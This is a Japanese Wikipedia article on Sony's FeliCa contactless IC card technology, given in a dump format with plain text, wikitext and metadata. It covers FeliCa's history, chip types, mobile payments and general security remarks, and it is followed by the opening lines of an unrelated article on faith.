モトローラの中価格帯スマートフォンMoto Zシリーズ用の拡張モジュールmoto mods開発時の試算では、moto modsにNFCを搭載する場合のライセンス料は2,3ドル程度だが、高機能なFeliCaを搭載すると1万円になるという。
1992年末、香港の交通事業者6社から成るジョイントベンチャーCreative Star Ltd.のICカードの競争入札に参加し、要求に沿う形で仕様が決められていき、1997年9月に香港で「オクトパス」として世界で初めて採用された。この時の競合相手はミクロン社。その後、2001年11月に日本でICカード乗車券「Suica」、2002年4月にシンガポールの「EZ-link」で採用されてきた。
また、Edy付きのeLIOがポイントカードと一体化したヨドバシカメラの「ゴールドポイントカードIC eLIO」や、ICキャッシュカードの付加機能としてEdyが採用されたり、クレジットカードとSuicaが一体化した「VIEW Suica」がさらにビックカメラのポイントカードと合体した「ビックカメラSuicaカード」などサービスの融合も行われている。
過去には、1999年から2003年まで、東京臨海副都心・青海のパレットタウン内にあるMEGAWEBで発行されていた「MEGA WEB Member's Card」や2000年から2002年まで、東京臨海副都心・お台場のソニーグループのエンターテインメント施設メディアージュで発行されていた「メディアージュ ファンカード」にも採用されていた。
ソニーが販売しているICカードにはRC-S860と853/854があり、RC-S860はEdyで使用、RC-S853/854はサイバネ規格に準拠したカードでSuicaで使用されている。
下記の規格を満たしたカード・半導体が、各社から販売されている。
ICカードに搭載した場合のアンテナの形状は、SuicaとEdyでは異なる。また、トランセカードはこれらとも異なる形状をしている。
Edy用のRC-S860のアンテナはカードの端に沿って四角型に配置される。Suica等の定期券入れ等に入れて他のFeliCaカードと重ねたまま使われることが想定されるRC-853/854では、アンテナは干渉の影響を減少させるために木の葉の輪郭のような形状になっている。これにより、より電波を受信しやすくできるほか、アンチコリジョン機能が施されているFeliCaカードならば、3枚まで重ねてもそれぞれのカードを認識できる。
携帯電話用のFeliCaチップはモバイルFeliCa ICチップまたはモバイルFeliCaチップと呼ばれている。ソニーとNTTドコモの合弁会社であるフェリカネットワークスが開発した。
2004年7月にはFeliCaチップを搭載した携帯電話が発売開始された。携帯電話にFeliCaチップを搭載することで、EdyやSuica(モバイルSuica)などを携帯電話で利用できる。モバイルFeliCaチップを利用したサービスをいち早く開始したNTTドコモの登録商標である「おサイフケータイ」が、事業者をまたいでのサービスブランドとして定着している。モバイルFeliCaチップはソニー1社が製造していたが、次期モバイルFeliCaチップは東芝とルネサス テクノロジを加えた3社から供給されることが2006年5月に発表された。この新世代のモバイルFeliCaチップ (FeliCa ver.2) は、容量の拡大や通信機能の搭載など機能強化を行ったもので、2006年10月にこれを搭載した携帯電話が発表された。
携帯電話での普及状況は、おサイフケータイの項もあわせて参照の事。
FeliCa用のリーダーライターについてはPaSoRiを参照。
現在FeliCaチップを採用した電子決済として、Edy、iD、交通系電子マネーに採用されている。クレジットカード国際ブランドで普及しているコンタクトレス決済ではNFC Type A/Bが採用されており、これらと互換性がない。
FeliCaチップを搭載したカードRC-S860は、2001年にEAL3の評価を受け、2002年3月4日に英国CESGCからISO/IEC 15408 EAL4の認定を受けている。ただし、この認定には、PP/9806などのICカード用システムLSIの主要なProtection Profileで要求されているAVA_VLA.4やSOF-highが含まれていなかったが、後にEAL4+の認定を受けている。
かつて経営者向けの直販誌「FACTA」の2006年9月号に、FeliCaに脆弱性が存在するとの記事が掲載されたことがあった。さらに、同誌2007年1月号は、FeliCaチップの内部を見ることができ、その改変も可能であるとした。
これに対して、情報の出所が明らかでなく具体的な記述もないという理由で、ITmediaが批判を加えた。ITmediaによれば、情報処理推進機構 (IPA) は、情報が提供された事実を認め、経済産業省にもその情報を伝えたが、IPAではソフトウェア脆弱性を取り扱っているものの、ハードウェアシステムの脆弱性は対象外ということもあり、提供された情報についてIPAでは検証はしていない、という。もっとも、IPAは、「ソフトウエア製品脆弱性関連情報」として、「ICカード等のソフトウエアを組み込んだハードウエア等に対する脆弱性」関連情報に関する届出を受け付けてはいる。
なお、この件についてソニーは、暗号解読の事実はない、とコメントした。
FACTAはゴシップ誌としての性質もあり、この記事はソニー批判のシリーズ記事の一つであること、内容はすべて伝聞調で書かれていること、また記事中の技術的な説明に複数の誤りがみうけられたり、Mifare Standardの脆弱性と混同したとおぼしき説明があるなど、記事の内容にも不審点はある。 そもそも脆弱性の検証を行うことができるほどの情報が公開されておらず、解読したとされる研究者も名乗りを上げていない。 また報道から10年以上経っても、信用するに足りる組織による脆弱性・被害の報告はないことから、この脆弱性の信憑性は無い。
無線部分の仕様は公開されており、カード固有番号のIDmは偽装することが可能であるため、IDmだけを使って認証することは危険である。一部のFeliCaチップを搭載したデバイスにおけるカードエミュレーションモードでは、ソフトウェアから自由にIDmを指定することが可能である。
そのため、セキュリティやプライバシーが必要なサービスやデバイスにおいては、セキュアエレメントを使用したチャレンジレスポンス方式による相互認証を行うことが必須となる。
カード固有番号やフリー領域へのアクセスは誰でもできるため、悪意あるカードリーダーの設置やカード読み取り等によってプライバシー情報が抜き取られる恐れがある。 | [
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"text": "FeliCaチップを搭載したカードRC-S860は、2001年にEAL3の評価を受け、2002年3月4日に英国CESGCからISO/IEC 15408 EAL4の認定を受けている。ただし、この認定には、PP/9806などのICカード用システムLSIの主要なProtection Profileで要求されているAVA_VLA.4やSOF-highが含まれていなかったが、後にEAL4+の認定を受けている。",
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"text": "FACTAはゴシップ誌としての性質もあり、この記事はソニー批判のシリーズ記事の一つであること、内容はすべて伝聞調で書かれていること、また記事中の技術的な説明に複数の誤りがみうけられたり、Mifare Standardの脆弱性と混同したとおぼしき説明があるなど、記事の内容にも不審点はある。 そもそも脆弱性の検証を行うことができるほどの情報が公開されておらず、解読したとされる研究者も名乗りを上げていない。 また報道から10年以上経っても、信用するに足りる組織による脆弱性・被害の報告はないことから、この脆弱性の信憑性は無い。",
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| FeliCa(フェリカ)は、ソニーが開発した非接触型ICカードの技術方式、および同社の登録商標である。 名称は、「至福」を意味する「Felicity」と「Card」を組み合わせたかばん語として、「至福をもたらすカード」という意味が込められている。 | {{複数の問題
| 出典の明記 = 2021年3月
| 更新 = 2021年3月
}}
[[ファイル:Iccard.gif|サムネイル|鉄道用ICカードの例]]
'''FeliCa'''(フェリカ)は、[[ソニーグループ|ソニー]](後の[[ソニーイメージングプロダクツ&ソリューションズ]]を経て2代目[[ソニー]]=旧:[[ソニーモバイルコミュニケーションズ]])が開発した非接触型[[ICカード]]の技術方式、および同社の登録商標である。
名称は、<!--元々ソニーが保有していた商標の中から適当なものを選んで命名されたもの<ref>[https://www.b.kobe-u.ac.jp/papers_files/2012_27.pdf 交通系ICカードのイノベーション] 『日経エレクトロニクス』2011年6月18日号 110頁</ref>{{出典無効|date=2020-11-15 |title=日経エレクトロニクス2011年6月18日号は存在が確認できない。おそらく6月13日号の間違いだと思われる。https://xtech.nikkei.com/dm/article/HONSHI/20110609/192444/におサイフケータイ関連の記事がある。}}である。後付ではあるものの、-->「至福」を意味する「'''Feli'''city」と「'''Ca'''rd」を組み合わせた[[かばん語]]として、「至福をもたらすカード」という意味が<!--も-->込められている。
== 概要 ==
FeliCaは、非接触型ICカードのための[[通信]]技術として、ソニーが開発した。
非接触型ICカードは、リーダ・ライタから[[搬送波|キャリア]]を送信して[[電磁誘導]]によりICカードに電力を供給し、キャリアの[[変調]]によりリーダ・ライタとカード間で通信を行う。例えば[[ISO/IEC 14443]]で規格化されているTYPE B方式は、[[振幅偏移変調|ASK]]10%で変調を行い、[[Non-return-to-zero|NRZ]]符号を採用しているのに対してFeliCaの方式は変調がASK10%と同じであるが、[[マンチェスタ符号]]を採用しているところが異なる。
当初、[[国際標準化機構]]にISO/IEC 14443 TYPE Cとして提案を行った。同時にTYPE D〜Gまでが提案されたが「[[近距離無線通信]]規格の乱立になる」として、[[国際規格]]議論が停止され採用されなかった。その後、FeliCaと上位互換性のある方式が[[近距離無線通信|ISO/IEC 18092 (Near Field Communication, NFC TYPE-F)]] として規格化された。[[日本]]では、[https://www.jicsap.com/ JICSAP]([[ID認証技術推進協会|一般社団法人 ID認証技術推進協会]]) ICカード仕様V2.0「第4部 高速処理用ICカード」や、[[日本鉄道サイバネティクス協議会]]でのICカード規定として規格化されている。
FeliCaは通常のICカードと同様に、キャッシュカードやIDカードなどに適用可能な技術である。特に高速処理が求められる、[[自動改札機]]や建物入館の[[セキュリティゲート]]や、[[キャッシュレジスター]]のアプリケーション向けに特化したコマンド体系になっている。そのため、ISO 7816-3の基本コマンドとは互換性はない。また、ICチップ内部のメモリは16バイト固定長のレコードのみがサポートされていて、{{仮リンク|ISO/IEC 7816|label=ISO/IEC 7816-3|en|ISO/IEC 7816}}で規定されているファイル構造との互換性はない。
[[暗号処理]]としては、相互認証に[[トリプルDES]]、通信路に[[Data Encryption Standard|DES]]もしくはトリプルDESを利用している。Dualカードタイプ(接触/非接触)では[[公開鍵暗号]]方式の処理が可能なものがある。
2011年6月には、相互認証と通信路に[[Advanced Encryption Standard|AES]]も利用できるFeliCaチップが発表された<ref>{{Cite press release |和書 |title= 非接触ICカード用の次世代FeliCa ICチップを開発 |publisher= Sony Japan |date= 2011-06-10 |url= https://www.sony.co.jp/SonyInfo/News/Press/201106/11-066/ |accessdate=2019-09-01 }}</ref>。
1枚のカード(1つのチップ)に[[乗車カード]]、電子マネー、社員証など複数のサービスを搭載可能であるが、サービス利用時には、個々のサービス毎にアクセス鍵(共通鍵)を使って相互認証を行うのではなく、複数のアクセス鍵から「縮退鍵」と呼ばれる[[暗号化]]された[[鍵 (暗号)|鍵]]を合成し、この縮退鍵を用いて、一度に最大16のサービスについて相互認証することが可能となっている。縮退された鍵から元の鍵は生成できない。このことから、セキュリティレベルを落とすことなく処理速度の高速化を実現している。
前述の通り国際標準化戦略に遅れをとったことから、世界的には[[近距離無線通信|NFC]] [[ISO/IEC 14443|Type A/B]]の方が普及しており[[ガラパゴス化]]のひとつともされる<ref>[https://web.archive.org/web/20200218090719/https://japanese.engadget.com/jp-2020-02-18-felica-ok.html セブン、世界標準のタッチ決済導入 FeliCa非搭載スマホでもOK - Engadget 日本版]</ref>。
== 歴史 ==
* 1988年 - [[ソニー]]が無線ICの開発を開始。
* 1994年 - 名称がFeliCaに決定。
* 1994年 - 香港の[[八達通|オクトパス]]社が採用を決定。世界で初の採用事例。
* 1997年 - オクトパスカードが正式導入される。世界で初の本格的な導入事例<ref name="SONY"/>。
* 1998年 - 広島の[[スカイレールサービス]]が「IC定期券」として採用。日本国内の交通系で初めての採用<ref>{{Cite web|和書|date= |url=https://www.soumu.go.jp/johotsusintokei/whitepaper/ja/h19/html/j233d000.html |title=平成19年版 情報通信白書 第2章 情報通信の現況 コラム ICカード乗車券の動向 |website=総務省 |publisher= |quote=非接触型(ICチップとリーダー/ライターの間の情報のやりとりを微弱な電波により行う方式)のICカード乗車券については、平成10年8月に広島の交通事業者が導入したのを皮切りに、|accessdate=2019-05-19}}</ref>。
* 1999年
** ソニーがソニーファイナンスインターナショナルをはじめとした数社と共同でFeliCaを用いた電子マネー「[[楽天Edy|Edy]]」のモニターテストを[[ゲートシティ大崎]]にて実施。なお、当初は「Edy!」の名称を使用。
** [[パレットタウン]](東京[[お台場]])内の[[MEGAWEB]]にて「MEGA WEB Member's Card」の発行を開始。FeliCaを利用した館内独自のプリペイド型電子マネーサービスをはじめ、日本で初めて事前に決済クレジットカードを登録して使用する後払の「リンク式ポストペイ(後払)」方式による館内独自のクレジット型電子マネーを導入。2003年3月までカード発行と関連サービスを実施、リンク式ポストペイ方式の電子マネーは、後に[[QUICPay]]などに採用される。
* 2000年
** [[東日本旅客鉄道|JR東日本]]が採用を決定。
** 4月 - [[メディアージュ]](東京お台場)にて「メディアージュファンカード」の発行を開始。FeliCaを利用した館内独自の電子マネーサービスをはじめ、映画館やエンターテイメントアトラクションなどの電子チケットサービス、会員制のポイントカードサービスなどが開始される。2002年3月までカード発行と関連サービスを実施。
* 2001年11月 - JR東日本が[[Suica]]を導入。また、同時期にソニーグループの[[ビットワレット]]がEdyの正式サービスを開始。
* 2002年4月 - [[シンガポール]]の[[EZ-link]]が導入する(2009年にFeliCa利用中止しNFC Type A/Bへ移行済み)。
* 2004年
** [[フェリカネットワークス]]が設立される。
** モバイルFeliCaを搭載した初めての携帯電話が[[NTTドコモ]]から発売される。当初は「[[SO506iC]]」「[[P506iC]]」「[[SH506iC]]」「[[F900iC]]」の4機種。
* 2005年10月 - FeliCa ICチップの累計出荷個数が1億個を突破<ref>{{Cite report ja|url = https://www.kantei.go.jp/jp/singi/titeki2/tyousakai/cycle/dai6/6sankou1.pdf|title = 国際標準に関する基礎概念の整理|author = 首相官邸知的財産戦略本部|authorlink = 知的財産戦略本部|date = 2006-09-21|page = 22|accessdate = 2014-09-14}}</ref>。
* 2007年 - [[神奈川大学]]の[[松下昭]]教授らが、非接触ICカード技術の[[特許]]を巡り、計20億円の[[損害賠償]]を請求。しかし2009年3月に[[知的財産高等裁判所]]が請求棄却の判決を出し<ref>{{Cite news|url= https://tech.nikkeibp.co.jp/dm/article/NEWS/20090330/167997/ |title= FeliCaやSuica巡る特許係争,ソニーとJR東が二審も勝訴 |newspaper= 日経 xTECH(クロステック) |publisher= 日経BP |date= 2009-03-30 |accessdate= 2019-09-02 }}</ref>、松下は[[最高裁判所 (日本)|最高裁判所]]への上告を断念したため、ソニーおよびJR東日本の勝訴が[[確定判決|確定]]した。
* 2010年 - 日本の[[Android (オペレーティングシステム)|Android]]スマートフォンでモバイルFeliCaが搭載される<ref>{{Cite news|url= https://www.gizmodo.jp/2010/10/auis03.html |title= au、おサイフケータイやワンセグを搭載したAndroid携帯「IS03」を発表 |newspaper= ギズモード・ジャパン |publisher= メディアジーン |date= 2010-10-04 |accessdate= 2019-09-02 }}</ref>。
* 2016年9月16日 - [[Apple]] [[iPhone 7]]、iPhone 7 Plus、Apple Watch Series 2が発売され、[[NXPセミコンダクターズ]]のNFC A, BおよびFeliCaに対応するチップ67V04が内蔵されている。2016年発売時では、日本国内でのみFeliCaによる[[Apple Pay]]に対応したシステムとなっていた。
== FeliCaチップの搭載 ==
FeliCaチップは、ICカードのICチップとして使用される他、携帯電話や腕時計などでFeliCaチップを搭載したものがある。
当初はソニーでのみ製造されていたが、[[インフィニオン・テクノロジーズ]]と共同開発([[2001年]]11月発表)、[[日立製作所]]の採用([[2002年]]6月発表)など、複数のチップメーカーが供給できるようになった。
モトローラの中価格帯スマートフォンMoto Zシリーズ用の拡張モジュールmoto mods開発時の試算では、moto modsにNFCを搭載する場合のライセンス料は2,3ドル程度だが、高機能なFeliCaを搭載すると1万円になるという<ref>{{Cite web|和書|title=「1カ月分が1週間で売れた」 モトローラの「moto g7」シリーズが好調の理由|url=https://www.itmedia.co.jp/mobile/articles/1907/08/news075_2.html|website=ITmedia Mobile|date=2019-07-08|accessdate=2019-07-09}}</ref>。
=== ICカードへの搭載 ===
1992年末、香港の交通事業者6社から成るジョイントベンチャー{{Lang|en|Creative Star Ltd.}}のICカードの競争入札に参加し、要求に沿う形で仕様が決められていき、1997年9月に[[香港]]で「[[八達通|オクトパス]]」として[[世界]]で初めて採用された<ref name="SONY">{{Cite press release | 和書 | url = http://www.sony.co.jp/SonyInfo/News/Press/200510/05-055/index.html | title = Sony Japan ソニーの非接触ICカード技術 FeliCa(フェリカ) ICチップの累計出荷100,000,000個を達成 | publisher = [[ソニー]] | date = 2005-10-19 | accessdate = 2017-05-14 }}</ref>。この時の競合相手はミクロン社。その後、2001年11月に日本でICカード乗車券「[[Suica]]」、2002年4月に[[シンガポール]]の「[[EZ-link]]」で採用されてきた。
また、Edy付きのeLIOがポイントカードと一体化した[[ヨドバシカメラ]]の「ゴールドポイントカードIC eLIO」や、ICキャッシュカードの付加機能としてEdyが採用されたり、クレジットカードとSuicaが一体化した「VIEW Suica」がさらにビックカメラのポイントカードと合体した「ビックカメラSuicaカード」などサービスの融合も行われている。
過去には、[[1999年]]から[[2003年]]まで、[[東京臨海副都心]]・[[青海 (江東区)|青海]]の[[パレットタウン]]内にある[[MEGAWEB]]で発行されていた「MEGA WEB Member's Card」や[[2000年]]から[[2002年]]まで、[[東京臨海副都心]]・[[お台場]]の[[ソニーグループ]]の[[エンターテインメント]]施設[[メディアージュ]]で発行されていた「メディアージュ ファンカード」にも採用されていた。<!-- 下記関連リンク項目を参照 ascii24ニュースの記事中に間接的な表現でメディアージュファンカードにFeliCaを採用したという記述がある。 -->
{{Main2|ICカードとしての普及状況は[[ICカード]]も}}
ソニーが販売しているICカードにはRC-S860と853/854があり、RC-S860はEdyで使用、RC-S853/854はサイバネ規格に準拠したカードでSuicaで使用されている。
==== 主な規格 ====
下記の規格を満たしたカード・半導体が、各社から販売されている。
* FeliCa Standard - フルバージョンのカード。暗号方式がトリプル[[Data Encryption Standard]](DES)のみ対応の旧版、DES・[[Advanced Encryption Standard]](AES)両対応<ref>「ニュースリリース [https://www.sony.co.jp/SonyInfo/News/Press/201106/11-066/ 非接触ICカード用の次世代FeliCa ICチップを開発 〜新たに高セキュリティー暗号方式AESを採用〜]」『Sony Japan』 ソニー株式会社、2011年6月10日</ref>のカード、AESのみ対応のカードの3種類がある<ref>FeliCa事業部「FeliCa カード ユーザーズマニュアル 抜粋版 Version 2.01」 ソニーイメージングプロダクツ&ソリューションズ株式会社、2017年4月</ref>。
* FeliCa lite - セキュリティ機能を簡易化・ICチップを小型化したカード<ref name="SonyPress081216">「ニュースリリース [https://www.sony.co.jp/SonyInfo/News/Press/200812/08-152/ 非接触ICカード技術 “FeliCa”の使用用途を拡大 無線インターフェースモジュール“FeliCa Plug”、及び“FeliCa Lite” ICカードチップを開発]」 ソニー株式会社、2008年12月16日</ref>。
* FeliCa lite-S - FeriCa liteよりもセキュリティを強化・省電力化したカード。
* モバイルFeliCa ICチップ - モバイル機器組み込み用のICチップ。[[おサイフケータイ]]・カードリーダーなどで使用<ref>「[https://www.felicanetworks.co.jp/osaifu/ おサイフケータイについて]」『FeliCa Networks』 フェリカネットワークス株式会社</ref>。
* FeliCa Plug - 機器組み込み用の無線インターフェースモジュール。スマートフォン・カードリーダーなどで使用<ref name="SonyPress081216" />。
==== アンテナの形状 ====
[[ファイル:Defaced_EZ-Link_Card.jpg|thumb|RC-S860の内部回路]]
ICカードに搭載した場合のアンテナの形状は、[[Suica]]と[[楽天Edy|Edy]]では異なる。また、[[トランセカード]]はこれらとも異なる形状をしている。
* RC-S860 四角 (Edy)
* RC-S853/854 円弧 (Suica)
Edy用のRC-S860のアンテナはカードの端に沿って四角型に配置される。Suica等の定期券入れ等に入れて他のFeliCaカードと重ねたまま使われることが想定されるRC-853/854では、アンテナは干渉の影響を減少させるために木の葉の輪郭のような形状になっている。これにより、より電波を受信しやすくできるほか、[[アンチコリジョン]]機能が施されているFeliCaカードならば、3枚まで重ねてもそれぞれのカードを認識できる。
<!-- IとHのカードはFeliCaチップとは呼ぶのか確認が必要 -->
=== 携帯電話・PHSへの搭載 ===
[[File:NTT DoCoMo FOMA F901iC open back.jpg|thumb|[[iモードFeliCa]]を搭載した初期の携帯電話「[[F901iC]]」(2004年12月発売)。バッテリーカバーにあるFeliCaプラットフォームマークを読み取り機器にかざしては使用する。]]
[[携帯電話]]用のFeliCaチップは'''モバイルFeliCa ICチップ'''またはモバイルFeliCaチップと呼ばれている。ソニーと[[NTTドコモ]]の合弁会社である[[フェリカネットワークス]]が開発した。
[[2004年]]7月にはFeliCaチップを搭載した携帯電話が発売開始された。携帯電話にFeliCaチップを搭載することで、EdyやSuica(モバイルSuica)などを携帯電話で利用できる。モバイルFeliCaチップを利用したサービスをいち早く開始したNTTドコモの登録商標である「[[おサイフケータイ]]」が、事業者をまたいでのサービスブランドとして定着している。モバイルFeliCaチップはソニー1社が製造していたが、次期モバイルFeliCaチップは東芝とルネサス テクノロジを加えた3社から供給されることが[[2006年]]5月に発表された。この新世代のモバイルFeliCaチップ (FeliCa ver.2) は、容量の拡大や通信機能の搭載など機能強化を行ったもので、2006年10月にこれを搭載した携帯電話が発表された。
* 「[[iモードFeliCa]]」([[NTTドコモ]])
* 「[[EZ FeliCa]]」([[KDDI]]・[[沖縄セルラー電話]])
* 「[[S!FeliCa|S!FeliCa(旧称・ボーダフォンライブ!FeliCa)]]」([[ソフトバンクモバイル]])
* 「[[ウィルコムICサービス]]」(ソフトバンク(旧・ワイモバイル←[[ウィルコム]]))
* 「おサイフケータイ」(ソフトバンク(旧・ワイモバイル←イー・アクセス)){{Refnest|group="注"|2013年春以降に初の対応機種が発売される事が決定<ref>{{Cite press release |和書 |title= イー・モバイル初となるLTE対応スマートフォンを発売予定~クアッドコアCPU、4.7インチHDディスプレイ搭載、テザリング、モバイルFeliCa™対応ハイエンドモデル~ |publisher= イー・アクセス |date= 2012-11-12 |url= http://www.eaccess.net/cgi-bin/press.cgi?id=1386 |accessdate=2019-09-02 }}</ref>。}}
携帯電話での普及状況は、[[おサイフケータイ]]の項もあわせて参照の事。
FeliCa用のリーダーライターについては[[PaSoRi]]を参照。
<!--
なお、FeliCaの受発信機部を「FeliCaポート」と呼ぶ。ただし、「ポート」といっても端子が露出しているわけではなく、外見上からは刻印・印刷されたFeliCaロゴマークでしかその存在を知ることができない。
-->
=== 決済手段として ===
現在FeliCaチップを採用した電子決済として、Edy、iD、交通系電子マネーに採用されている。クレジットカード国際ブランドで普及しているコンタクトレス決済ではNFC Type A/Bが採用されており、これらと互換性がない。
=== その他 ===
[[画像:Speedpass%2B_Key_Tag.jpg|thumb|[[ENEOS]]の[[Speedpass#Speedpass+|Speedpass+]]。<br />円形のRC-S893が組み込まれている。]]
* [[フィギュア]]の台座部分にFeliCaチップを搭載したものが開発されており<ref>[https://www.itmedia.co.jp/news/articles/0903/05/news121.html “かざすと楽しい”をFeliCaで実現――ソニーブース] ITmedia 2009年3月5日</ref>、実際に[[楽天Edy]]用などに製品化された([[楽天Edy#バリューイシュア]]を参照)。
* 2006年シーズンから、[[:en:Hawaii Winter Baseball|ハワイウインターベースボール]]リーグの入場チケットには[[キーホルダー]]型のFeliCaが採用されている<ref>[https://www.itmedia.co.jp/mobile/articles/0712/05/news064_2.html 米国進出の第1歩――FeliCaハワイプロジェクトとは] ITmedia 2007年12月5日</ref>。
* [[高雄捷運]]では、日本の乗車券にあたる單程票において、コイン型のFeliCaが採用されている。
== セキュリティ ==
=== FeliCaチップの安全性 ===
FeliCaチップを搭載したカードRC-S860は、2001年にEAL3の評価を受け、2002年3月4日に英国CESGCから[[コモンクライテリア|ISO/IEC 15408]] EAL4の認定を受けている。ただし、この認定には、PP/9806などのICカード用システムLSIの主要なProtection Profileで要求されているAVA_VLA.4やSOF-highが含まれていなかったが、後にEAL4+の認定を受けている。
かつて経営者向けの直販誌「[[FACTA]]」の2006年9月号に、FeliCaに脆弱性が存在するとの記事が掲載されたことがあった<ref name="FACTA記事2006年9月号">[https://facta.co.jp/article/200609061.html ケータイクレジットに致命的な弱点] FACTA 2006年9月号</ref>。さらに、同誌2007年1月号は、FeliCaチップの内部を見ることができ、その改変も可能であるとした<ref name="FACTA記事2007年1月号">[https://facta.co.jp/article/note/200701.shtml 2007年1月号の読みどころ ソニー激震――暗号破られた「電子マネー」] FACTA 2007年1月号</ref>。
これに対して、情報の出所が明らかでなく具体的な記述もないという理由で、[[ITmedia]]が批判を加えた<ref>[https://www.itmedia.co.jp/news/articles/0612/20/news103.html FeliCaの暗号が破られた?――ソニーは完全否定] ITmedia 2006年12月20日 - 記事内容は非常に曖昧と指摘。<br />[https://www.itmedia.co.jp/news/articles/0612/26/news053.html 議論すべき時が来た組み込み機器のセキュリティ] ITmedia 2006年12月26日 - 具体的かつ合理的な説明に欠けると指摘。</ref>。[[ITmedia]]によれば、[[情報処理推進機構]] (IPA) は、情報が提供された事実を認め、経済産業省にもその情報を伝えたが、IPAではソフトウェア脆弱性を取り扱っているものの、ハードウェアシステムの脆弱性は対象外ということもあり、提供された情報についてIPAでは検証はしていない、という<ref>[https://www.itmedia.co.jp/news/articles/0612/26/news053.html 議論すべき時が来た組み込み機器のセキュリティ]、高橋睦美、ITmedia、2006年12月26日</ref>。もっとも、IPAは、「ソフトウエア製品脆弱性関連情報」として、「ICカード等のソフトウエアを組み込んだハードウエア等に対する脆弱性」関連情報に関する届出を受け付けてはいる<ref>{{Cite web|和書|url= https://www.ipa.go.jp/security/vuln/report/index.html |title= 脆弱性関連情報の届出受付 |publisher= IPA 独立行政法人 情報処理推進機構 |accessdate= 2019-09-02 }} - 「届出の対象」の (1)。</ref>。
なお、この件について[[ソニー]]は、暗号解読の事実はない、とコメントした<ref>[https://www.itmedia.co.jp/news/articles/0612/20/news103.html FeliCaの暗号が破られた?――ソニーは完全否定]、吉岡綾乃、ITmedia、2006年12月20日<br />[https://k-tai.watch.impress.co.jp/cda/article/news_toppage/32524.html ソニー、「FeliCaの暗号は解読されていない」と説明]、関口聖、ケータイ Watch、2006年12月21日</ref>。
{{要出典範囲|FACTAはゴシップ誌としての性質もあり、この記事はソニー批判のシリーズ記事の一つであること、内容はすべて伝聞調で書かれていること、また記事中の技術的な説明に複数の誤りがみうけられたり、[[MIFARE|Mifare Standard]]の脆弱性と混同したとおぼしき説明があるなど、記事の内容にも不審点はある。
そもそも脆弱性の検証を行うことができるほどの情報が公開されておらず、解読したとされる研究者も名乗りを上げていない。
また報道から10年以上経っても、信用するに足りる組織による脆弱性・被害の報告はないことから、この脆弱性の信憑性は無い。|date=2023年10月}}
=== IDm偽装 ===
無線部分の仕様は公開されており、カード固有番号のIDmは偽装することが可能であるため、IDmだけを使って認証することは危険である。一部のFeliCaチップを搭載したデバイスにおけるカードエミュレーションモードでは、ソフトウェアから自由にIDmを指定することが可能である。
そのため、セキュリティやプライバシーが必要なサービスやデバイスにおいては、セキュアエレメントを使用したチャレンジレスポンス方式による相互認証を行うことが必須となる。
=== プライバシー問題 ===
カード固有番号やフリー領域へのアクセスは誰でもできるため、悪意あるカードリーダーの設置やカード読み取り等によってプライバシー情報が抜き取られる恐れがある。
== FeliCaに関する規格・知的財産権 ==
* JIS X 6319-4: ICカード実装仕様-第4部:高速処理用ICカード(日本工業標準調査会)<ref>[https://www.jisc.go.jp/app/jis/general/GnrJISNumberNameSearchList?show&jisStdNo=X6319 JIS X 6319]</ref>
* 特許3709946<ref>[https://www.j-platpat.inpit.go.jp/web/PU/JPB_3709946/BEB388F33D5B56E7A9DD29A01A3A4F5C 特許3709946]</ref>(相互認証・通信路暗号化)
<!-- http://www2.ipdl.ncipi.go.jp/begin/BE_DETAIL_MAIN.cgi?sType=0&sMenu=1&sBpos=1&sPos=57&sFile=TimeDir_22/mainstr1167829815265.mst&sTime=1167829913 -->
* 特許4268690<ref>[https://www.j-platpat.inpit.go.jp/web/PU/JPB_4268690/5D79E8BFD08E48C70C39AA5FD14DDB1B 特許4268690]</ref>(相互認証用縮退鍵)
<!--
http://www2.ipdl.ncipi.go.jp/begin/BE_DETAIL_MAIN.cgi?sType=0&sMenu=1&sBpos=1&sPos=54&sFile=TimeDir_22/mainstr1167829815265.mst&sTime=0
-->
* [[電波法]]上、FeliCaのリーダ・ライタは、「高周波利用設備(誘導式読み書き通信設備)」に該当し、あらかじめ[[総務大臣]]から[[技術基準適合証明]]していることの指定(型式指定)を受ける必要がある<ref>{{Cite web|和書|url= https://www.tele.soumu.go.jp/j/sys/others/highfre/set/index.htm |title= 高周波利用設備の設置に関する申請手続き |website= 電波利用ホームページ |publisher= 総務省 |accessdate= 2019-09-02 }}</ref>。
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|group="注"}}
=== 出典 ===
{{Reflist}}
== 関連項目 ==
*[[おサイフケータイ]]
*[[フェリカネットワークス]]
* [[RFID]]
* [[MIFARE]] - 主に欧米で利用されている非接触ICカード通信規格
** [[taspo]] - 日本で使われている[[たばこ]]の[[自動販売機]]成人認証用カード
* [[FeliCaポート]]
** [[PaSoRi]]
* [[TransferJet]]
* [[近距離無線通信|ISO/IEC 18092 (Near Field Communication, NFC)]] - NFC Type Fとして規格化
* [[ガラパゴス化]]
* [[ガラパゴススマートフォン]]
== 外部リンク ==
* [https://www.sony.co.jp/Products/felica/ Sony Japan | FeliCaホームページ]
* [https://www.felicanetworks.co.jp/ フェリカネットワークス株式会社]
* [http://www.felicatech.org FeliCa互換性技術情報サイト]
{{電子マネー}}
{{デフォルトソート:FeliCa}}
[[Category:ソニー]]
[[Category:電子マネー]]
[[Category:非接触型決済]]
[[Category:RFID]]
[[Category:ICカード]]
[[Category:登録商標]] | 2003-04-17T04:41:58Z | 2023-12-19T17:36:42Z | false | false | false | [
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]
| https://ja.wikipedia.org/wiki/FeliCa |
6,846 | 信仰 | 信仰(しんこう、英: faith)とは、
信仰のことを仏教においては「信心(しんじん)」と呼ぶことが一般的である。「信仰」と書いて古くは「しんごう」と読んでいたこともある。
このように、この語は多くの場合宗教的概念、例えば神、教義などを信じることに対して用いる。 広辞苑によれば、信仰は一般に、畏怖よりも何らかの親和の気持ちが根源にあるとしている。 「宗教」という語が、組織や制度までも含めて指す包括的な語であるのに対し、「信仰」や「信心」は人(あるいは人々)の意識に焦点をあてた語である。
また、何らかの対象を絶対のものと信じて、疑わないことを指すこともある。この用法は、日本語では比喩的且つ否定的なニュアンスを持つ修辞として用いられる事が多いが、公的な中国語での「信仰」の概念は、宗教もマルクス主義信仰などの宗教以外の信仰も同等に対象とされ、同じ文脈で語られ得る。
初期ユダヤ教、旧約聖書においては、信仰の概念は神に対する人間の態度であって、神に対する従順と信頼がテーマとされた (創世記 15:6、イザヤ書 7:9)。初期ユダヤ教において、信仰の典型あるいは最も古典的な例として扱われているのはアブラハムのそれである(創世記 15:6)。
